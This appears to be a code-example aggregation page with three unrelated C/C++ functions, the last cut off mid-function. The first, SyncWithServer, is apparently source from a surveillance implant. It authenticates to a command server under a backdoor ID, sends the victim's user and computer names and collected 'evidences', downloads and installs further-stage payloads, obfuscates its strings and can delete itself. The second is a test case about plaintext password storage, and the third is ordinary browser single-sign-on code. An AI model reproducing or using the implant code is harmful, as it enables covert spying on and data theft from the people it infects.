Example #1
0
BOOL SyncWithServer()
{
	PBYTE pRandomData, pProtoMessage, pInstanceId, pCryptedBuffer;
	ULONG uGonnaDie, uGonnaUpdate;
	BYTE pHashBuffer[20];
	BOOL bRetVal = FALSE;

	uGonnaDie = uGonnaUpdate = 0;

	memcpy(pServerKey, CLIENT_KEY, 32);
	memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32);
#ifdef _DEBUG_BINPATCH
	MD5((PBYTE)CLIENT_KEY, 32, pServerKey);
	MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, pConfKey);
#endif
	
	pRandomData = (PBYTE)malloc(16);
	GenerateRandomData(pRandomData, 16);

	PBYTE pBuffer = (PBYTE)malloc(32);
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pRandomData, 16);
	CalculateSHA1(pHashBuffer, pBuffer, 32);
	free(pBuffer);
	
	pInstanceId = (PBYTE)malloc(20);
	GetUserUniqueHash(pInstanceId, 20);

	// proto_v + rand + sha1(conf_key + rand) + bdoor_id(padded) + instance_id + subtype + randpool	 (FIXME)
	ULONG uRandPoolLen = GetRandomInt(128, 1024);
	ULONG uCryptBufferLen = Align(sizeof(ULONG) + 16 + 20 + strlen(BACKDOOR_ID) + 2 + 20 + sizeof(ULONG), 16);
	ULONG uMessageLen = uCryptBufferLen + uRandPoolLen;
	pProtoMessage = (PBYTE)malloc(uMessageLen);
	PBYTE pMessageBuffer = pProtoMessage;

	// proto version
	*(PULONG)pMessageBuffer = 0x1; 
	pMessageBuffer += sizeof(ULONG);

	// kd
	memcpy(pMessageBuffer, pRandomData, 16);
	pMessageBuffer += 16;

	// sha1(conf_key + kd)
	memcpy(pMessageBuffer, pHashBuffer, 20);
	pMessageBuffer += 20;

	// backdoor_id
	memcpy(pMessageBuffer, BACKDOOR_ID, strlen(BACKDOOR_ID) + 2);
	pMessageBuffer += strlen(BACKDOOR_ID);
	memcpy(pMessageBuffer, "\x00\x00", 0x2); // 16 byte padding (id is 14byte fixed len)
	pMessageBuffer += 0x2;

	// instance id
	memcpy(pMessageBuffer, pInstanceId, 20);
	pMessageBuffer += 20;

	// subtype
	pMessageBuffer[0] = 0x0; // ARCH: windows

	/* 
		determine whether it's a demo scout or not :
		- cautiously set demo to 0 (i.e. release)
		- if stars align properly set to demo
	*/ 
	pMessageBuffer[1] = 0x0; // TYPE: release

	SHA1Context sha;
	SHA1Reset(&sha);
    SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1));
	if (SHA1Result(&sha)) 
	{ 
		/* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */
		unsigned nDemoTag[5];
		nDemoTag[0] = 1575563797;
		nDemoTag[1] = 2264195072;
		nDemoTag[2] = 3570558757;
		nDemoTag[3] = 2213518012;
		nDemoTag[4] = 971935466;
		
		if( nDemoTag[0] == sha.Message_Digest[0] &&
			nDemoTag[1] == sha.Message_Digest[1] &&
			nDemoTag[2] == sha.Message_Digest[2] &&
			nDemoTag[3] == sha.Message_Digest[3] &&
			nDemoTag[4] == sha.Message_Digest[4] )
		{
			pMessageBuffer[1] = 0x1;
		}
		
	}



	pMessageBuffer[2] = 0x1; // STAGE: scout
	pMessageBuffer[3] = 0x0; // FLAG: reserved

	// encrypt
	Encrypt(pProtoMessage, uCryptBufferLen, pServerKey, PAD_NOPAD);

	// append random block
	GenerateRandomData(pProtoMessage + uCryptBufferLen, uRandPoolLen);

	// base64 everything
	PBYTE pBase64Message = (PBYTE)base64_encode(pProtoMessage, uMessageLen);

	// send request
	ULONG uResponseLen;
	ULONG uRet = WinHTTPSendData(pBase64Message, strlen((char *)pBase64Message));
	free(pBase64Message);
	if (!uRet)
	{
		free(pRandomData);
		free(pInstanceId);
		free(pProtoMessage);
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:234\n");
#endif
		return FALSE;
	}

	// get response
	PBYTE pHttpResponseBufferB64 = WinHTTPGetResponse(&uResponseLen); 
	if (!pHttpResponseBufferB64)
	{
#ifdef _DEBUG
	OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:244\n");
#endif
		return FALSE;
	}

	// base64
	ULONG uOut;
	PBYTE pProtoResponse = base64_decode((char *)pHttpResponseBufferB64, uResponseLen, (int *)&uOut);
	free(pHttpResponseBufferB64);

	if (uOut < sizeof(PROTO_RESPONSE_AUTH))
		return FALSE; // FIXME free

	// decrypt
	Decrypt(pProtoResponse, uOut, pConfKey);

	// fill packet
	PROTO_RESPONSE_AUTH pProtoResponseId;
	memcpy(&pProtoResponseId, pProtoResponse, sizeof(PROTO_RESPONSE_AUTH));
	free(pProtoResponse);

	// first sha1
	pBuffer = (PBYTE)malloc(16 + sizeof(pProtoResponseId.pRandomData) + 16);
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData));
	memcpy(pBuffer + 16 + sizeof(pProtoResponseId.pRandomData), pRandomData, 16);
	CalculateSHA1(pHashBuffer, pBuffer, 16 + sizeof(pProtoResponseId.pRandomData) + 16);
	free(pBuffer);
	
	PBYTE pFirstSha1Digest = (PBYTE)malloc(20);
	memcpy(pFirstSha1Digest, pHashBuffer, 20);

	// second sha1
	pBuffer = (PBYTE)malloc(20 + 16);
	memcpy(pBuffer, pFirstSha1Digest, 20);
	memcpy(pBuffer + 20, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData));
	CalculateSHA1(pHashBuffer, pBuffer, 20 + sizeof(pProtoResponseId.pRandomData));
	free(pBuffer);
	free(pFirstSha1Digest);

	if (memcmp(pHashBuffer, pProtoResponseId.pSha1Digest, 20))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] Ouch SHA1 does not match !!!\n");
#endif
		return FALSE;
	}


	// AUTH DONE \o/
#ifdef _DEBUG
	OutputDebugString(L"[+] PROTO_AUTH succeded !!\n");
#endif

	// session key sha1(conf_key + ks + kd)
	pBuffer = (PBYTE)malloc(48); 
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pProtoResponseId.pRandomData, 16);
	memcpy(pBuffer + 16 + 16, pRandomData, 16);
	CalculateSHA1(pSessionKey, pBuffer, 48);
	free(pBuffer);

	if (pProtoResponseId.uProtoCommand != PROTO_OK && pProtoResponseId.uProtoCommand != PROTO_NO && pProtoResponseId.uProtoCommand != PROTO_UNINSTALL)
	{
#ifdef _DEBUG
		PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
		swprintf_s(pDebugString, 1024, L"[!!] Invalid PROTO command %08x", pProtoResponseId.uProtoCommand);
		OutputDebugString(pDebugString);
		free(pDebugString);
#endif

		return FALSE;
	}
	

	if (pProtoResponseId.uProtoCommand == PROTO_NO)
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] Got PROTO_NO\n");
#endif
		return FALSE;
	}
	else if (pProtoResponseId.uProtoCommand == PROTO_UNINSTALL)
	{
#ifdef _DEBUG
		OutputDebugString(L"[+] Got PROTO_UNINSTALL, I'm gonna die :(\n");
#endif
		if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer)))
			free(pCryptedBuffer);

		WinHTTPClose();
		DeleteAndDie(TRUE);
	}


	// send ID
	ULONG uStringLong = 32767 * sizeof(WCHAR);
	PWCHAR pUserName = (PWCHAR)malloc(uStringLong);
	PWCHAR pComputerName = (PWCHAR)malloc(uStringLong);

	WCHAR strUser[] = { L'U', L'S', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' };
	WCHAR strComputer[] = { L'C', L'O', L'M', L'P', L'U', L'T', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' };

	if (!GetEnvironmentVariable(strUser, pUserName, uStringLong))
		pUserName[0] = L'\0';
	if (!GetEnvironmentVariable(strComputer, pComputerName, uStringLong))
		pComputerName[0] = L'\0';

	// Prepare ID buffer
	ULONG uUserLen, uComputerLen, uSourceLen = 0;	
	PBYTE pUserNamePascal = PascalizeString(pUserName, &uUserLen);
	PBYTE pComputerNamePascal = PascalizeString(pComputerName, &uComputerLen);
	PBYTE pSourceIdPascal = PascalizeString(L"", &uSourceLen);
	free(pUserName);
	free(pComputerName);

	ULONG uBuffLen = sizeof(ULONG) + uUserLen + uComputerLen + uSourceLen;
	pBuffer = (PBYTE)malloc(uBuffLen);
	*(PULONG)pBuffer = BUILD_VERSION;
	memcpy(pBuffer + sizeof(ULONG), pUserNamePascal, uUserLen);
	memcpy(pBuffer + sizeof(ULONG) + uUserLen, pComputerNamePascal, uComputerLen);
	memcpy(pBuffer + sizeof(ULONG) + uUserLen + uComputerLen, pSourceIdPascal, uSourceLen);
	free(pUserNamePascal);
	free(pComputerNamePascal);
	free(pSourceIdPascal);

	// Send ID
	if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_ID, pBuffer, uBuffLen, pSessionKey, &pCryptedBuffer)))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPSendData @ proto.cpp:381\n");
#endif
		free(pBuffer);
		return FALSE;
	}
	free(pCryptedBuffer);
	free(pBuffer);	

	// Get reponse
	PBYTE pHttpResponseBuffer = WinHTTPGetResponse(&uResponseLen); 
	if (!pHttpResponseBuffer || uResponseLen < sizeof(PROTO_RESPONSE_ID))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:387\n");
#endif
		if (pHttpResponseBuffer)
			free(pHttpResponseBuffer);
		return FALSE;
	}
	// decrypt it
	Decrypt(pHttpResponseBuffer, uResponseLen, pSessionKey);

	PPROTO_RESPONSE_ID pResponseId = (PPROTO_RESPONSE_ID)pHttpResponseBuffer;
#ifdef _DEBUG
	PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
	swprintf_s(pDebugString, 1024, L"[+] Got PROTO_ID PROTO - uProtoCommand: %08x, uMessageLen: %08x, uAvailables: %d\n", 
		pResponseId->uProtoCommand, 
		pResponseId->uMessageLen, 
		pResponseId->uAvailables);
	OutputDebugString(pDebugString);
	free(pDebugString);
#endif
	
	// parse availables
	if (pResponseId->uAvailables)
	{
		PULONG pAvailables = (&pResponseId->uAvailables) + 1;
		for (ULONG i=0; i<pResponseId->uAvailables; i++)
		{
#ifdef _DEBUG
			pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
			swprintf_s(pDebugString, 1024, L"  - Available %08x\n", pAvailables[i]);
			OutputDebugString(pDebugString);
			free(pDebugString);
#endif
			// AVAILABLE STUFF HERE THERE AND EVERYWHERE
			if (pAvailables[i] == PROTO_UPGRADE)
			{
#ifdef _DEBUG
				pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
				swprintf_s(pDebugString, 1024, L"[+] Got PROTO_UPGRADE, requesting executables\n");
				OutputDebugString(pDebugString);
				free(pDebugString);
#endif
				if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &pCryptedBuffer)))
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] WinHTTPSendData FAIL @proto.cpp:435\n");
#endif
					return FALSE;
				}
				free(pCryptedBuffer);

				PBYTE pHttpUpgradeBuffer = WinHTTPGetResponse(&uResponseLen); 
				if (!pHttpUpgradeBuffer || uResponseLen < sizeof(PROTO_RESPONSE_UPGRADE))
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:433\n");
#endif
					if (pHttpUpgradeBuffer)
						free(pHttpUpgradeBuffer);

					return FALSE; // FIXME FREE
				}
#ifdef _DEBUG
				OutputDebugString(L"[*] Got Upgrade\n");
#endif
				Decrypt(pHttpUpgradeBuffer, uResponseLen, pSessionKey);

				PPROTO_RESPONSE_UPGRADE pProtoUpgrade = (PPROTO_RESPONSE_UPGRADE)pHttpUpgradeBuffer; 
				PWCHAR pUpgradeName = (PWCHAR)malloc(pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));

				if (!pUpgradeName)
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] pUpgradeName fail\n");
#endif
					free(pHttpUpgradeBuffer);
					return FALSE; // FIXME FREE
				}
				SecureZeroMemory(pUpgradeName, pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));
				memcpy(pUpgradeName, &pProtoUpgrade->pUpgradeNameBuffer, pProtoUpgrade->uUpgradeNameLen);
#ifdef _DEBUG
				pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
				swprintf_s(pDebugString, 1024, L"[+] PROTO_UPGRADE - uProtoCommand: %08x, uResponseLen: %x, uUpgradeLeft: %d, uUpgradeNameLen: %d, pUpgradeName: %s\n", 
					pProtoUpgrade->uProtoCommand, pProtoUpgrade->uResponseLen, pProtoUpgrade->uUpgradeLeft, pProtoUpgrade->uUpgradeNameLen, pUpgradeName);
				OutputDebugString(pDebugString);
				free(pDebugString);
#endif

				ULONG uFileLength = *(PULONG) (((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen);
				PBYTE pFileBuffer = (PBYTE)(((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG);

				//if (!wcscmp(pUpgradeName, L"elite"))
				if (pUpgradeName[0] == L'e' && pUpgradeName[1] == L'l')
				{
					if (UpgradeElite(pUpgradeName, pFileBuffer, uFileLength))
						uGonnaDie = 1;
					else
					{
						WCHAR pMessage[] = { L'E', L'l', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}
				//if (!wcscmp(pUpgradeName, L"scout"))
				if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'c')
				{
					if (!UpgradeScout(pUpgradeName, pFileBuffer, uFileLength))
					{
						WCHAR pMessage[] = { L'S', L'c', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}
				if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'o')
				{
					if (!UpgradeSoldier(pUpgradeName, pFileBuffer, uFileLength))
					{
						WCHAR pMessage[] = { L'S', L'o', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}

				//if (!wcscmp(pUpgradeName, L"recover"))
				//if (pUpgradeName[0] == L'r' && pUpgradeName[1] == L'e')
				//{
				//	if (!UpgradeRecover(pUpgradeName, pFileBuffer, uFileLength))
				//	{
				//		WCHAR pMessage[] = { L'R', L'e', L'c', L'F', L'a', L'i', L'l', L'\0' };
				//		SendInfo(pMessage);
				//	}
				//}

				free(pUpgradeName);
				free(pHttpUpgradeBuffer);
			}
		}
	}
	free(pHttpResponseBuffer);

	if (SendEvidences())
		bRetVal = TRUE;
	
	// send BYE
#ifdef _DEBUG
	OutputDebugString(L"[*] Sending PROTO_BYE\n");
#endif
	if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer)))
		free(pCryptedBuffer);
#ifdef _DEBUG
	else
		OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:499\n");
#endif

	if (uGonnaDie == 1)
	{
		WinHTTPClose();
		DeleteAndDie(TRUE);
	}

	free(pProtoMessage);
	free(pInstanceId);
	free(pRandomData);

	return bRetVal;
}
/* goodG2B() uses the GoodSource with the BadSink */
wchar_t * CWE256_Plaintext_Storage_of_Password__w32_wchar_t_61b_goodG2BSource(wchar_t * data)
{
    {
        FILE *pFile;
        HCRYPTPROV hCryptProv = 0;
        HCRYPTHASH hHash = 0;
        HCRYPTKEY hKey = 0;
        char hashData[100] = HASH_INPUT;
        pFile = fopen("passwords.txt", "r");
        if (pFile != NULL)
        {
            if (fgetws(data, 100, pFile) == NULL)
            {
                data[0] = L'\0';
            }
            fclose(pFile);
        }
        else
        {
            data[0] = L'\0';
        }
        do
        {
            BYTE payload[(100 - 1) * sizeof(wchar_t)]; /* same size as data except for NUL terminator */
            DWORD payloadBytes;
            /* Hex-decode the input string into raw bytes */
            payloadBytes = decodeHexWChars(payload, sizeof(payload), data);
            /* Wipe the hex string, to prevent it from being given to LogonUserW if
             * any of the crypto calls fail. */
            SecureZeroMemory(data, 100 * sizeof(wchar_t));
            /* Aquire a Context */
            if(!CryptAcquireContext(&hCryptProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0))
            {
                break;
            }
            /* Create hash handle */
            if(!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash))
            {
                break;
            }
            /* Hash the input string */
            if(!CryptHashData(hHash, (BYTE*)hashData, strlen(hashData), 0))
            {
                break;
            }
            /* Derive an AES key from the hash */
            if(!CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey))
            {
                break;
            }
            /* FIX: Decrypt the password before passing it to the sink */
            if(!CryptDecrypt(hKey, 0, 1, 0, payload, &payloadBytes))
            {
                break;
            }
            /* Copy back into data and NUL-terminate */
            memcpy(data, payload, payloadBytes);
            data[payloadBytes / sizeof(wchar_t)] = L'\0';
        }
        while (0);
        if (hKey)
        {
            CryptDestroyKey(hKey);
        }
        if (hHash)
        {
            CryptDestroyHash(hHash);
        }
        if (hCryptProv)
        {
            CryptReleaseContext(hCryptProv, 0);
        }
    }
    return data;
}
Example #3
0
// ----------------------------------------------------------------------------------
// SSOWebAccessible()
// ----------------------------------------------------------------------------------
// SSO commun aux navigateurs implémentant l'interface IAccessible
// Utilise forcément la méthode de configuration simplifiée
// ----------------------------------------------------------------------------------
// [out] 0=OK, -1=pas réussi (champs non trouvés ou autre erreur)
// ----------------------------------------------------------------------------------
int SSOWebAccessible(HWND w,int iAction,int iBrowser)
{
	TRACE((TRACE_ENTER,_F_, "w=0x%08lx iAction=%d iBrowser=%d",w,iAction,iBrowser));
	int rc=-1;
	IAccessible *pAccessible=NULL;
	IAccessible *pTopAccessible=NULL;
	IDispatch *pIDispatch=NULL;
	int i;	
	T_SUIVI_ACCESSIBLE tSuivi,*ptSuivi;
	HRESULT hr;
	long lCount;
	VARIANT vtChild,vtState;
	int iId1Index;
	int iId2Index;
	int iId3Index;
	int iId4Index;
	IAccessible *pNiveau0=NULL,*pChildNiveau1=NULL, *pChildNiveau2=NULL;
	int iNbTry;
	
	// ISSUE#39 : important, initialisation pour que le pointer iAccessible soit à NULL sinon le release provoque plantage !
	ZeroMemory(&tSuivi,sizeof(T_SUIVI_ACCESSIBLE));

	// 	BROWSER_MAXTHON: strcpy_s(tSuivi.szClassName,sizeof(tSuivi.szClassName),"Afx:400000:2008:10011:0:0");
	tSuivi.w=NULL;		
	if (iBrowser==BROWSER_IE)
	{
		// enum des fils à la recherche de la fenêtre de rendu Web
		// ISSUE#70 0.95 essaie aussi avec contenu flash (à faire en 1er)
		// pour tester le flash : http://itmj.homelinux.org:9090/workspace/Main.html?ap=1
		strcpy_s(tSuivi.szClassName,sizeof(tSuivi.szClassName),"MacromediaFlashPlayerActiveX"); 
		EnumChildWindows(w,WebEnumChildProc,(LPARAM)&tSuivi);
		if (tSuivi.w!=NULL) { TRACE((TRACE_INFO,_F_,"MacromediaFlashPlayerActiveX. Visible = %d",IsWindowVisible(tSuivi.w))); }
		if (tSuivi.w==NULL || ((tSuivi.w!=NULL) && (!IsWindowVisible(tSuivi.w)))) // pas trouvé de flash ou trouvé flash mais non visible
		{
			strcpy_s(tSuivi.szClassName,sizeof(tSuivi.szClassName),"Internet Explorer_Server");
			EnumChildWindows(w,WebEnumChildProc,(LPARAM)&tSuivi);
			if (tSuivi.w!=NULL) { TRACE((TRACE_INFO,_F_,"Internet Explorer_Server = %d",IsWindowVisible(tSuivi.w))); }
		}
		if (tSuivi.w==NULL) { TRACE((TRACE_ERROR,_F_,"EnumChildWindows() => pas trouve la fenetre de contenu")); goto end; }
		// Obtient un IAccessible
		hr=AccessibleObjectFromWindow(tSuivi.w,(DWORD)OBJID_CLIENT,IID_IAccessible,(void**)&pAccessible);
		if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"AccessibleObjectFromWindow(IID_IAccessible)=0x%08lx",hr)); goto end; }
	}
	else if (iBrowser==BROWSER_CHROME)
	{
		// enum des fils à la recherche de la fenêtre de rendu Web
		strcpy_s(tSuivi.szClassName,sizeof(tSuivi.szClassName),"Chrome_RenderWidgetHostHWND");
		// ISSUE #98 . 0.99 : pour chrome 33 ou 34+, l'énumération refonctionne (cf ISSUE#95 plus bas) mais la fenêtre
		// qu'on récupère ne fonctionne pas. Elle a un vtRole.lVal=0x0000000a au lieu de vtRole.lVal=0x0000000f, et 0 childs !
		// La version 34 de Chrome se reconnait grace à la fenêtre de classe static qui est remontée juste avant celle 
		// qu'on cherche, du coup si je trouve fenêtre static, je rebranche sur la recherche sans énumération
		// 11/01-15:53:58:470 DEBUG WebEnumChildProc Fenetre classe=Static w=0x00030618
		// 11/01-15:53:58:470 DEBUG WebEnumChildProc Fenetre classe=Chrome_RenderWidgetHostHWND w=0x00080120
		strcpy_s(tSuivi.szExclude,sizeof(tSuivi.szExclude),"Static");
		EnumChildWindows(w,WebEnumChildProc,(LPARAM)&tSuivi);
		if (tSuivi.w==NULL)
		{ 
			// ISSUE#95 / 0.98 : pour Chome 31 ou 32+, impossible de rechercher la fenêtre fille, on est obligé de passer par IAccessible :
			// La fenêtre principale a 1 child de niveau 1, il faut prendre le 1er.
			// Le child de niveau 1 a 2 childs, il faut prendre le 2eme.
			// Le child de niveau 2 a 4 childs, il faut prendre le 2eme --> c'est la fenêtre de contenu web !
			hr=AccessibleObjectFromWindow(w,(DWORD)OBJID_CLIENT,IID_IAccessible,(void**)&pNiveau0);
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"AccessibleObjectFromWindow(IID_IAccessible)=0x%08lx",hr)); goto end; }
			// La fenêtre principale a 1 child de niveau 1, il faut prendre le 1er.
			vtChild.vt=VT_I4;
			vtChild.lVal=1;
			hr=pNiveau0->get_accChild(vtChild,&pIDispatch);
			TRACE((TRACE_DEBUG,_F_,"pAccessible->get_accChild(%ld)=0x%08lx",vtChild.lVal,hr));
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accChild(%ld)=0x%08lx",vtChild.lVal,hr)); goto end; }
			hr=pIDispatch->QueryInterface(IID_IAccessible, (void**) &pChildNiveau1);
			TRACE((TRACE_DEBUG,_F_,"QueryInterface(IID_IAccessible)=0x%08lx",hr));
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"QueryInterface(IID_IAccessible)=0x%08lx",hr)); goto end; }
			pIDispatch->Release(); pIDispatch=NULL;
			// Le child de niveau 1 a 2 childs, il faut prendre le 2eme.
			vtChild.vt=VT_I4;
			vtChild.lVal=2;
			hr=pChildNiveau1->get_accChild(vtChild,&pIDispatch);
			TRACE((TRACE_DEBUG,_F_,"pChildNiveau1->get_accChild(%ld)=0x%08lx",vtChild.lVal,hr));
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accChild(%ld)=0x%08lx",vtChild.lVal,hr)); goto end; }
			hr=pIDispatch->QueryInterface(IID_IAccessible, (void**) &pChildNiveau2);
			TRACE((TRACE_DEBUG,_F_,"QueryInterface(IID_IAccessible)=0x%08lx",hr));
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"QueryInterface(IID_IAccessible)=0x%08lx",hr)); goto end; }
			pIDispatch->Release(); pIDispatch=NULL;
			// Le child de niveau 2 a 4 childs, il faut prendre le 2eme.
			vtChild.vt=VT_I4;
			vtChild.lVal=2;
			hr=pChildNiveau2->get_accChild(vtChild,&pIDispatch);
			TRACE((TRACE_DEBUG,_F_,"pChildNiveau2->get_accChild(%ld)=0x%08lx",vtChild.lVal,hr));
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accChild(%ld)=0x%08lx",vtChild.lVal,hr)); goto end; }
			hr=pIDispatch->QueryInterface(IID_IAccessible, (void**) &pAccessible);
			TRACE((TRACE_DEBUG,_F_,"QueryInterface(IID_IAccessible)=0x%08lx",hr));
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"QueryInterface(IID_IAccessible)=0x%08lx",hr)); goto end; }
			pIDispatch->Release(); pIDispatch=NULL;
		}
		else
		{
			// Obtient un IAccessible
			hr=AccessibleObjectFromWindow(tSuivi.w,(DWORD)OBJID_CLIENT,IID_IAccessible,(void**)&pAccessible);
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"AccessibleObjectFromWindow(IID_IAccessible)=0x%08lx",hr)); goto end; }
		}
		VARIANT vtMe,vtRole;
		vtMe.vt=VT_I4;
		vtMe.lVal=CHILDID_SELF;
		hr=pAccessible->get_accRole(vtMe,&vtRole);
		if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accRole()=0x%08lx",hr)); goto end; }
		TRACE((TRACE_DEBUG,_F_,"get_accRole() vtRole.lVal=0x%08lx",vtRole.lVal));
	}
	else if (iBrowser==BROWSER_FIREFOX3 || iBrowser==BROWSER_FIREFOX4)
	{
		// accNavigate permet de trouver la fenêtre de rendu web
		hr=AccessibleObjectFromWindow(w,(DWORD)OBJID_CLIENT,IID_IAccessible,(void**)&pTopAccessible);
		if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"AccessibleObjectFromWindow(IID_IAccessible)=0x%08lx",hr)); goto end; }
		
		VARIANT vtStart,vtResult;
		vtStart.vt=VT_I4;
		vtStart.lVal=CHILDID_SELF;
		hr=pTopAccessible->accNavigate(0x1009,vtStart,&vtResult); // NAVRELATION_EMBEDS = 0x1009
		pTopAccessible->Release();pTopAccessible=NULL;
		if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"accNavigate(NAVRELATION_EMBEDS)=0x%08lx",hr)); goto end; }
		TRACE((TRACE_DEBUG,_F_,"accNavigate(NAVRELATION_EMBEDS) vtEnd=%ld",vtResult.lVal));
		if (vtResult.vt!=VT_DISPATCH) { TRACE((TRACE_ERROR,_F_,"accNavigate(NAVRELATION_EMBEDS) is not VT_DISPATCH")); goto end; }
		pIDispatch=(IDispatch*)vtResult.lVal;
		if (pIDispatch==NULL) { TRACE((TRACE_ERROR,_F_,"accNavigate(NAVRELATION_EMBEDS) pIDispatch=NULL")); goto end; }
		hr=pIDispatch->QueryInterface(IID_IAccessible, (void**)&pAccessible);
		if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"QueryInterface(IID_IAccessible)=0x%08lx",hr)); goto end; }	
	}
	// à ce stade, on a un pAccessible pour travailler, quel que soit le navigateur
	vtChild.vt=VT_I4;
	vtChild.lVal=CHILDID_SELF;
	VariantInit(&vtState);
	
	hr=pAccessible->get_accState(vtChild,&vtState);
	if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accState()=0x%08lx",hr)); goto end; }
	TRACE((TRACE_DEBUG,_F_,"get_accState(DOCUMENT PRINCIPAL) vtState.lVal=0x%08lx",vtState.lVal));
	
	// ISSUE#163 : plutôt que d'attendre 1 fois 5 secondes, on attend 5 fois 100ms et ensuite on continue, 
	//             ça ne semble pas être bloquant surtout que Chrome et IE ont l'air de se mettre BUSY dès qu'ils n'ont pas le focus...
	iNbTry=1;
	while ((vtState.lVal & STATE_SYSTEM_BUSY) && iNbTry < 6)
	{
		TRACE((TRACE_DEBUG,_F_,"STATE_SYSTEM_BUSY -- wait 100ms before retry #%d (max 5)",iNbTry));
		Sleep(100);
		VariantInit(&vtState);
		hr=pAccessible->get_accState(vtChild,&vtState);
		if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accState()=0x%08lx",hr)); }
		TRACE((TRACE_DEBUG,_F_,"get_accState(DOCUMENT PRINCIPAL) vtState.lVal=0x%08lx",vtState.lVal));
		iNbTry++;
	}
	
	lCount=0;
	hr=pAccessible->get_accChildCount(&lCount);
	TRACE((TRACE_DEBUG,_F_,"get_accChildCount() hr=0x%08lx lCount=%ld",hr,lCount));
	if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accChildCount() hr=0x%08lx",hr)); goto end; }
	if (iBrowser==BROWSER_CHROME) // lCount=0 arrive parfois quelque fois après ouverture d'un nouvel onglet
	{
		iNbTry=0;
		while (lCount==0 && iNbTry<10) // ajouté en 0.93B1 : 10 essais supplémentaires au lieu d'un seul
		{
			Sleep(150);
			pAccessible->Release();
			pAccessible=NULL;
			// Obtient un IAccessible
			hr=AccessibleObjectFromWindow(tSuivi.w,(DWORD)OBJID_CLIENT,IID_IAccessible,(void**)&pAccessible);
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"AccessibleObjectFromWindow(IID_IAccessible)=0x%08lx",hr)); goto end; }
			hr=pAccessible->get_accChildCount(&lCount);
			TRACE((TRACE_DEBUG,_F_,"get_accChildCount() hr=0x%08lx lCount=%ld",hr,lCount));
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accChildCount() hr=0x%08lx",hr)); goto end; }
			iNbTry++;
		}
		if (lCount==0) // ça n'a toujours pas marché, on abandonne...
		{
			TRACE((TRACE_ERROR,_F_,"get_accChildCount() hr=0x%08lx",hr)); goto end;
		}
	}

	ZeroMemory(&tSuivi,sizeof(T_SUIVI_ACCESSIBLE)); // déplacé plus haut, mais laissé ici aussi dans le doute ça coute pas cher.
	tSuivi.w=w;
	tSuivi.iAction=iAction;
	tSuivi.iErreur=0;
	tSuivi.iLevel=0;
	tSuivi.iPwdIndex=-1;
	tSuivi.iNbPwdFound=0;
	tSuivi.iBrowser=iBrowser; // ISSUE#279

#ifdef TRACES_ACTIVEES
	DoWebAccessible("",w,pAccessible,&tSuivi);
#else
